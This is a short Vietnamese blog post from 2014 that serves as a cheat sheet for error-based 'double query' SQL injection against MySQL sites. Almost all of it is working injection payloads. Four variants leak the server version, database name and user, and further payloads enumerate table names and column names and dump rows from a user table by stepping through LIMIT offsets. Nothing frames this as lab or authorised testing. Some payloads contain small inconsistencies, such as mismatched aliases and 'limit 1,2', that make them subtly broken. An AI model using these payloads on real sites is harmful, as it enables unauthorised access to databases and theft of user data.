Monday, May 19, 2014

Khai Thác SQLi Error Based - Double Query

Câu lệnh Check Site Khi Site báo Error
------------------------------------------------------------------------------------------------------------
Query khi Union Select ko được truy vấn:
+Cách I: And(Select 1 From(Select Count(*),Concat((Select Concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f)),floor(rAnd(0)*2))QuyTG From Information_Schema.columns Group By QuyTG)VHG)

+Cách II: And(Select 1 From(Select Count(*),Concat((Select substr(Group_Concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f),1,136)From tbl_user),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By QuyTG)VHG)

+Cách III: and (select 1 from (select count(*),concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f,floor(rand(0)*2)) from (select 1 union select 2 union select 3)TYN group by 2)vnhack)
+Cách IV: or 1 group by concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f,floor(rand(0)*2)) having min(1) or 1-- -

=> Ta sẽ get được version và các thứ linh tinh

------------------------------------------------------------------------------------------------------------

Query "Get Table_name":
And(Select 1 From(Select Count(*),Concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rAnd(0)*2))QuyTG From Information_Schema.columns Group By QuyTG)VHG)

Thay limit 0,1 thành limit 1,2 rồi limit 2,1 rồi limit 3,1... cho tới tên bẳng mà mình cần khai thác
------------------------------------------------------------------------------------------------------------

Query "Get Columns_name":
And(Select 1 From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=... limit 0,1),floor(rAnd(0)*2))QuyTG From Information_Schema.columns Group By QuyTG)VHG)



Thay limit 0,1 thành limit 1,2 rồi limit 2,1 rồi limit 3,1... cho tới tên bẳng mà mình cần khai thác

------------------------------------------------------------------------------------------------------------

And(Select 1 From(Select Count(*),Concat((select concat(0x2f,...,0x2f,...,0x2f) from tbl_user limit 0,1),floor(rAnd(0)*2))QuyTG From Information_Schema.columns Group By QuyTG)VHG)

nguồn : http://quytg-cehv.blogspot.com/

No comments:

Post a Comment